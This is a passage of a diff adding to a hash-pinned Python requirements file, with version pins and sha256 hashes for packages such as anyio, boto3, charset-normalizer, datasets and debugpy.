--hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aioitertools==0.13.0 \ + --hash=sha256:0be0292b856f08dfac90e31f4739432f4cb6d7520ab9eb73e143f4f2fa5259be \ + --hash=sha256:620bd241acc0bbb9ec819f1ab215866871b4bbd1f73836a55f799200ee86950c +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-doc==0.0.5 \ + --hash=sha256:117bac03a25ede5df5440e855b32d556049ca169ead221505badf432fed4b101 \ + --hash=sha256:c7e58ce09192557605d8bbd92836d7e1d520ac9580096042c0bfd197efacf1bb +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 +anyio==4.15.1 \ + --hash=sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101 \ + --hash=sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94 +attrs==26.1.0 \ + --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \ + --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32 +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beautifulsoup4==4.15.0 \ + --hash=sha256:288e3ca7d54b06f2ac191970bc275c1939cb46d450b255bf6718b04aa37ab4f7 \ + --hash=sha256:d6f88de62e1d4e38ecb1077eb9724cd0eff29d2a08ca16a401e9b9e93f117cf9 +boto3==1.43.75 \ + --hash=sha256:08a79edb68e6a0d65d305eb90188639313650e155aed015e86eef59d8475dde0 \ + --hash=sha256:86da93d3d5b46a58b03fa51b598ffa4aeaff485a3000affacf78491c105e44f0 +botocore==1.43.75 \ + --hash=sha256:121abc8b0b529bc4e29a28d1e8b096b20f26708cabe3d5ae4b3446747712aece \ + --hash=sha256:e8ed6b0f3cd398dfb9e08d7ca3a0b964152166a317a04e89c45ec91003327ffe +certifi==2026.7.22 \ + --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 \ + --hash=sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55 +charset-normalizer==3.5.1 \ + --hash=sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45 \ + --hash=sha256:012a22b88a77ca2e59b98ac5889b0deb604147666032f45e6d6e217634d2550d \ + --hash=sha256:01e93745f7f219b703b60ba7afead36cfc4242782be5af484673fc500df12da5 \ + --hash=sha256:04368edf83514385ffc3e1cfd4546e595f4f1272dd23ba437a93a9cc3741d47b \ + --hash=sha256:0722590aabf9dc6a6c0343d523c05458fa2b5047dbe6302fd526bb570600753f \ + --hash=sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f \ + --hash=sha256:09a7bba9f739468c8e78c36a75c33768e53cb1959fc638f510454c14683f00d5 \ + --hash=sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22 \ + --hash=sha256:0c6dfb5ca6723eeed15aa8e564a014d69fcb8812f94eef11fe3631e0508199f5 \ + --hash=sha256:0d929fc574b4d6fd9e7c0f5c2ede8716a41911923aa7fa5fce38e0818aa4a1ac \ + --hash=sha256:13e3afe97712e8887cd516e960c63f0b93122971e5b5e4b2622fe7701771e838 \ + --hash=sha256:15f024313246a4ed976c60f440bb8d257815513a681d212ff74fd46f7d715a90 \ + --hash=sha256:195ce897c6153c0700078142cf8efe3e6454ca4cf4357499e4078dfd83396626 \ + --hash=sha256:19a3dd5aa73cef1c99687c4fc57db016a9c17104ae1185da88ba566a5d3bebe4 \ + --hash=sha256:1d1c7a53a6c2103925cdd6d7229f8c567379f211c869793df679f2e9f738c369 \ + --hash=sha256:1f5883d77fd409a261abb5dc8ccbe335720d798b1de4abb3b1d47ccbbc76b53b \ + --hash=sha256:21b82d8082f6f5e7f456ef0bd16323d08de1266efbfeb476e64b2a91d1471a4e \ + --hash=sha256:252d099029bcbea642f2a06c4ed5046bdf8b5a8150b64afa5e027e88b106e5ee \ + --hash=sha256:256dd4d85d9e4dc595e2bc983c980e73f62ddeb3165c58b4c3dfe78c5c8548c1 \ + --hash=sha256:26422d45fd13551cf564c58932f7d72b4f58b93b0fcf18c35ba6be12b46bb102 \ + --hash=sha256:2679de311c7946dde5d3b6f44941844133ff5c7cb86099c0061ab1e8901c20a8 \ + --hash=sha256:29880d17a8eb0b5cfdfd8944b468322928059aa35f1f5fa8ff22b149ec0b42f8 \ + --hash=sha256:2bced4061f000f7187254a02ad3433ae17eaf991747ceea2f478422590a5bba9 \ + --hash=sha256:2e9cf9253119d8e5d111f05d71626786fd3d6193817316eab1ca088cdb8593cf \ + --hash=sha256:2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0 \ + --hash=sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6e988ad13abba943031 \ + --hash=sha256:329fc3ccb63ad22d867d84c2adea759a64079a37ba4a343433b02c7a2816871e \ + --hash=sha256:343fb4f2821043bd87095f7b08a1a181febc8e36ac64212143bbfd0a0e1bc235 \ + --hash=sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82ae45aef04ff6e072 \ + --hash=sha256:35aea775dc2bd5f54cd84a1cd2696cc3207c479cb9cf0bd346f0d343e4300ddb \ + --hash=sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb22cc1b59cd8ec17e93c \ + --hash=sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58c07695bedf755a950 \ + --hash=sha256:3617ac3cfd8b9888f145ad89dd6e692285834b0201c6074a5eeaad3fd4d668c2 \ + --hash=sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb \ + --hash=sha256:394fea06235c8543390050ed5f529187074b029fb027213f6c46ac11ab5d950e \ + --hash=sha256:3d27167433c0d5f18dc850f07d0b3816221984fecdc405d6c157a6f0b8f8e9e6 \ + --hash=sha256:3e5e1224c0a6a90e05843e07adfec669edebec17801c67072f51e59561d63c0b \ + --hash=sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f21f34a4cab14f18d8d2 \ + --hash=sha256:433c5a81eade63b47e522303bad236f59dba55ea6951746f5558355eeed8c75d \ + --hash=sha256:4582c27e8c889d64811987b5967fbd3ae0c823fe1fd933b543d55ac20bb475fa \ + --hash=sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9b5e3133f80c6aeb84c2 \ + --hash=sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818 \ + --hash=sha256:496846868fea80e479324862fa877f02411f2fd0f83b79ccee2607aa68b2a032 \ + --hash=sha256:4abdc5f9ad448c1ecbfae2974b820535d6bc6e7eef63babbab3d81cf46968c71 \ + --hash=sha256:4b599739b93b2cbeded49645ae3c8d1405c29ddfbceac1545c87a3f9580a9e96 \ + --hash=sha256:4bea7f8ebe90bbd7f0e4a2de42ca6924ba23e3e76418c408ff82f1d46fabd687 \ + --hash=sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146e2d39f51e16170bea8 \ + --hash=sha256:4c9548dc78002099910abaebc0a72ac58b7d30931869e0351c09b507dff4ece3 \ + --hash=sha256:4d26f14f041e83dd8edfd61f4cd4fa7285d31798b5bf1f28e70c367ba6c41d61 \ + --hash=sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2f049795e26cad28b6a9 \ + --hash=sha256:52ec005752a56ae79547a05c0139ca2501a0c866390b6115008456b9f0e7cde1 \ + --hash=sha256:55261ac0d2941c42f196dd576f543d87a8ee03cd6f5e30dfb4d807b2e3b9121a \ + --hash=sha256:56490c595a28b1bb27dfc583e816152a9767721ef58b2c03b13f954d2f707420 \ + --hash=sha256:58d3e12c88e0950bca850ae1f7c256055c097639c2edb9eb123af9807d8b15e4 \ + --hash=sha256:58d4aa13a59c969dbfdf9e6a9560e242cbfd9e8a8f50c2747714df1a423adf65 \ + --hash=sha256:59171c6e45bf07d0d5cab3b0bf81d945035530f6873398b3b531c31184d46663 \ + --hash=sha256:5b6d1386bf0096d26d3a863dc0a487a5b4eb9aa93cf5ba69683d29dde6b9d60f \ + --hash=sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46b8bcdf027d38c51da591 \ + --hash=sha256:5c84bec0ab5ae0c64bfe73a7d2adcb5ce73b467523fc27fd6a28ab2aa6cbe35a \ + --hash=sha256:5ca0555312ae2fe82715cada7fac375530c2f3349e1eaa1bcb33d0283ac79a18 \ + --hash=sha256:5d8531a6569d025f68e2321e7638fb7978f23db58e5f69f56913837aae03816e \ + --hash=sha256:5e2d0e146dcb57034f8b97dc58d2d512cb90aba253960ce449f695fec6a82c6f \ + --hash=sha256:5fc45d653ea8c9a20479167e11d4a0f8cb2fa3470737ab6f9c827532313187b7 \ + --hash=sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3 \ + --hash=sha256:6199d5606e2bbf2b096cf64d03f8b6790c91081d5ac866b8e7bb6422738cc60c \ + --hash=sha256:62b55f6722735a6c472f88361cde6640608773d9443cebdbb51abf436a1fcdd3 \ + --hash=sha256:687c9ca3035544b113bea2055e180af96fb63c0c476e22a9180f51925186e7b7 \ + --hash=sha256:6b7430cf5728e68f6c462254009a6ef4086e1bea43cf2f57aa9c55fb4f50ff96 \ + --hash=sha256:6ba32c4d2abf1d2fe7cf27d280f4cca5664233b0f885549c7761719eb977f486 \ + --hash=sha256:6c9cdde8becb25a7fde49924511aa2644d6f8081cc8df8e9452724303348d8e3 \ + --hash=sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6 \ + --hash=sha256:6e2912d4babbc65196ac13c2f53468dc57fb8b9c25ef913e8c59ddf7c6dc0e1b \ + --hash=sha256:6e5e4d73d588ca5ed09df1b7dcd1b203d1df3c542e3f50d126c947d432b10731 \ + --hash=sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb0025c3959 \ + --hash=sha256:706bfd38730a5ac7a365793269a00f4e988178cec121391f4248d84ad8c972e9 \ + --hash=sha256:7235dc28fc6dd9d832ac7c7bce95367dedb85929f17368a0c2bee1e080b9acbf \ + --hash=sha256:774d157f112367ff4abd29019f38f023c24e00e56edc7829c20e358a5a913ad8 \ + --hash=sha256:77efcff2b23071c349402ac1066667a3d011f62398d81408c9b88ad991747c9e \ + --hash=sha256:789b8982559ae28dad2356519f841655756cdcd96616410590ae0b17454ee64f \ + --hash=sha256:7ac76cf9afd34929d76eb7fcb63be476a4853d8a96f0dcf2d0db68a0cbdf9885 \ + --hash=sha256:7c0c10730342b0c9b35dd1d619beb8214e520bd96a1f870f452680b238aab3e0 \ + --hash=sha256:823f82903d189af463d7df250ef1f7f696f3cee08cc8d91deb565e8d425f6506 \ + --hash=sha256:838648accb3a7fd9803fd45c87bce8509648eb0c11bc34e216141300977244f2 \ + --hash=sha256:854066be00447fa8de2ccbbe893e2ffc4b123ef16d897af794c1e18bd4a714b0 \ + --hash=sha256:85d5855daafc240cc045c026d7a15fd198a09b0fc8ff6f5ecbb5297b509cb11e \ + --hash=sha256:85de3134b5379856e323ba37c19c9256d39425f7b76a63af52b09fb4664c2e8f \ + --hash=sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b647451e \ + --hash=sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e19ba199d18ae4491 \ + --hash=sha256:88e85ab89cb822c1e635f51d6d32e488f94e002e70e2f492bdb8b945543f345a \ + --hash=sha256:8ac8c94b6539074e0f40899301273ac8402b9b3e01c7b7ba269ff30340aaaf20 \ + --hash=sha256:8fe532b3c966d1fb794e0698e4589d0444017ae77fc0b31edea13c0e35bcc449 \ + --hash=sha256:9085f87b0e38a2b92b8923059b4e8789fe40d9279712d15dcc670048d77079af \ + --hash=sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a7551f20e11ac9bf0b8708c \ + --hash=sha256:92caef967d287a407085d61176fce4012b1dd62daed4eb6d5ceb26d3d2538712 \ + --hash=sha256:9362dd90aa7dab48c0054a21187791ccf05473f7dba5d92b8033ae62164675e7 \ + --hash=sha256:94d78ecec2605a8d0398b0f365d5f12a63248438516f5dac536a5eff7337df4a \ + --hash=sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20 \ + --hash=sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f \ + --hash=sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3 \ + --hash=sha256:96fef3e886d6a9874b14f27fc193fbdc69d5d8035783d86aa4e1cea594e695f9 \ + --hash=sha256:977cdbd483a9cff38179bea4fd754289a6f2195c7abd414aba85410b3e66cc5e \ + --hash=sha256:978eab16f55b4ab2c2a745be9a0a840bf8f09a7f227d9c76eb30214d078865a5 \ + --hash=sha256:994e883d17c559cdfd38c84003c8b27d25424a1077272a17e7cd27bfe0bf57b2 \ + --hash=sha256:9ac4444d8d4fd4c4bd08bf451ed3167aa9e7ec6cdb41b648794f1d1103652e36 \ + --hash=sha256:9b5db6052055d34d41230fb78d7c439c23dc536a9896f6cb039e8dd92cfc1263 \ + --hash=sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc43f47cd099d00d393e09769de4 \ + --hash=sha256:9dbdd9205662134957cf0c324f639bdc5031c0ca056e2369e238db75187c0f11 \ + --hash=sha256:9eea3ab2597a5e65fe65296e2d6a84570845a6b55532d90333d740d48bbc850a \ + --hash=sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892dfba907f4263a863a3 \ + --hash=sha256:a3a370082ce34d0612f421e15fe011c53bb1feff21a26d06ad4fb244dab5a375 \ + --hash=sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa \ + --hash=sha256:a5cbd90ecf0fc62e64726917ad083b73001f0563657a87ec3c0b504e277dc90d \ + --hash=sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5 \ + --hash=sha256:a6dac12ff6b846103483683f60c5f8fee205121adc58ffd87e90a90a3af69e99 \ + --hash=sha256:a951ad59cad9145664a730d3036b40b844e74d2d3683da40111463cd3a83845d \ + --hash=sha256:aa1099b956fb795e686d073568f6dc002a0bb89765ea6d5b055dd7d9bf1b116c \ + --hash=sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488 \ + --hash=sha256:aae2ee51122d3ae968a3837d97dc24a0aeebb0dea23694422cd172bd30017cd6 \ + --hash=sha256:ab743e9bc90c1f73552ec33e10e3331315acd2c397b36065b591b0181de533cc \ + --hash=sha256:ac00177c4831ffa650f8609e4bdddd5fe09c03b1c0c47acece7e6ea20421598b \ + --hash=sha256:ac13b004224fb341e1e25a1ed5e19d32f57cdb2a403e01f003b46f051a550f6f \ + --hash=sha256:acaf604462bf330b0d07e7a07c1d6e4adac79e5fb13e9c5140590542cafacc00 \ + --hash=sha256:ae31a1a1db2ee6cc2942fccaf695c934bc7f3db9f2133a3fef1f367cf1a4ab10 \ + --hash=sha256:ae4a097991662cd4fff0ddc74e0fe7874f82e00042fa0ea00855645ed0c79598 \ + --hash=sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac961838509086188b7e6 \ + --hash=sha256:b39b69b347e5e47a3b5b8cfc005c68c1ba347474e3960236c4944a8ecd174962 \ + --hash=sha256:b54e7e13267d49ffbfe68e25b3cbd774dab38fa37238f71265e91b36146eb21c \ + --hash=sha256:b9af956078716df40d985fb0dfeb2c2120c5ca92ba4ff4b388acfd01cdc14d08 \ + --hash=sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab \ + --hash=sha256:ba501e667c17d8411f98e67a022d9604ef179aff0e459b7e292c796837c13573 \ + --hash=sha256:baf3775a2635e5a11fbd5e4e64ee69c7e86875d224a5c72aca4c141064589a90 \ + --hash=sha256:bb57753e36e4855b8ca375069482250a6246372331a3e4f3407eaebb007443f5 \ + --hash=sha256:bd6c173f04743d483881bffa1478d5a4624475b8cd1d2194956a75548e191c18 \ + --hash=sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d \ + --hash=sha256:c010f5581d9c612804cc59fcf7b524b707fbcb72828551237ab545bb5c7034af \ + --hash=sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea \ + --hash=sha256:c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c \ + --hash=sha256:c658c50ac0c98cd755a2dd50b7977d3bca7df401dcc47fbdfa87db53ef7d4e8b \ + --hash=sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce60efa6430ff63676cea6 \ + --hash=sha256:c7b742bf31c88566b4bb6335a7f393bb322e580b6bb98df7bd0c25e6e3519ce8 \ + --hash=sha256:cc0329df4caaceb950d2f580b5ac716a377f7059624a0bafaeaf8a218c6ed774 \ + --hash=sha256:cc5d36d96478aa9c60654bd932525bf32964c62a7281eafdf16d85003a8d6004 \ + --hash=sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a \ + --hash=sha256:ced3fdd71aaa83ce593746c2edb42b7a59cb4c19c8b5c407781c72e493aae55a \ + --hash=sha256:cee5dd7c6fb5dd52a0fe2a740f9bc6e3593f5f8b1788bde49de02086f30182b2 \ + --hash=sha256:cfa1c0cc3a8f9f53f1243a5a99ac36fd003880199383b37672e86ddda9cb07e2 \ + --hash=sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa \ + --hash=sha256:d59b75732e9b6f27388e10c14b0259cc5f2e48c78627d185e6a177b58ad3cffe \ + --hash=sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1da1f3 \ + --hash=sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6cc \ + --hash=sha256:e06efa066f7dbadbc84ebc126a97c452a6451dfcf589d89d788484949e1cf795 \ + --hash=sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0f8f602f7bef543d9d \ + --hash=sha256:e4b018dc5a0eee4676e38fe84a47a427816c590b93b55d9025274ec4d6ffc2dc \ + --hash=sha256:e6621fb2a4988d6e53eedc455e5903e2679f3967b8acb3d639f1b63c14a2e893 \ + --hash=sha256:e71c909f353863b2b89c83de2ebed71ea6d0df8a6ef65a128193c5e650766bef \ + --hash=sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af29dbf78ebb89a58c4bac7d \ + --hash=sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda \ + --hash=sha256:eb12fb2ba69ffa05f8695f61c69e591dc4b4a12ac3757ac8af8adb259bf56d17 \ + --hash=sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30 \ + --hash=sha256:f03ac127268b43ef4fe9e6ab6794a6794b49485a0cc0c1db79876d2f33f75bc7 \ + --hash=sha256:f298e218441525d3794428b4c8b8fb8662c6d3ea79925d4807ee6b9a96a3bca5 \ + --hash=sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182 \ + --hash=sha256:f6f7deae3feb4edfa2efaf7c574fe88cbf055038a6abdb40188e4fff66d5699f \ + --hash=sha256:f9b1e28d0e8dbfa858abdba91d6b547beaf2df1a59bec6da6faae7b96a4991a9 \ + --hash=sha256:f9f8405c2c758532c74fed975dbee57be1f31a6e865c031870c79a6ed3212ada \ + --hash=sha256:fa48b1b63d639f9483e0633e092f5851e2348c352f1f9bb6c8182f87884ef876 \ + --hash=sha256:fb78f6e7fcd8ad785d28cd577168bc1aaee827b25bb8755638f694794ea98f0a \ + --hash=sha256:fbc597639158fd7c14d55e808718848319540f51b0e6746e3eefa59723a4a348 \ + --hash=sha256:fce8cbd4997efeb450bd298b54f755dcdff18d496f7a5ddbb4867c6d7c88fdc3 \ + --hash=sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b094c5cd27c73a98bc6f \ + --hash=sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba4029518f2e5c0 \ + --hash=sha256:fdb8a068947befafba9952162645dc2fecaeb400e64584829ed5e9b2fbe21a7f +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 +datasets==5.0.1 \ + --hash=sha256:9fbf73688f8c18f7529b4fe592abd04015f81d1e58001e4bac73ffb2b39d7cc4 \ + --hash=sha256:ce22bb851efd7494f08aad33b940803784434f6e77763d00679a0dc45fcf686a +debugpy==1.8.22 \ + --hash=sha256:0c1104233340196e5cbf5514e7dfdbb98968e730cfd7fdd6f3d72a082be838a9 \ + --hash=sha256:12bc7f368182b517cf26c76a2393fff65354e365fa1552b6241e66edff17997b \ + --hash=sha256:192b73e8d53bbd60225220c0943627bf249ac93d0ea3090e23c45f3e0ceb6a35 \ + --hash=sha256:1bd0c6df3c68c0a3f71db8baa3780a953abb65537ec4b3bc6b935ad5b3b3d45c \ + --hash=sha256:1e76339d5510bc17e9181dba9577508afcb21aad5728f1a55ef74d7d97d255f3 \ + --hash=sha256:225d063f81708c2546999e7edfac0198b2d5c2f144797dc64858f867948633e0 \ + --hash=sha256:371a4ba4a5975eb958393903f3254cf983da7b1c7c178b3f987ee427f42515e3 \ + --hash=sha256:3b7c328cb47b4e2f2b40801936daf8150f88dcb4ffef5080ff119270f0d23626 \ + 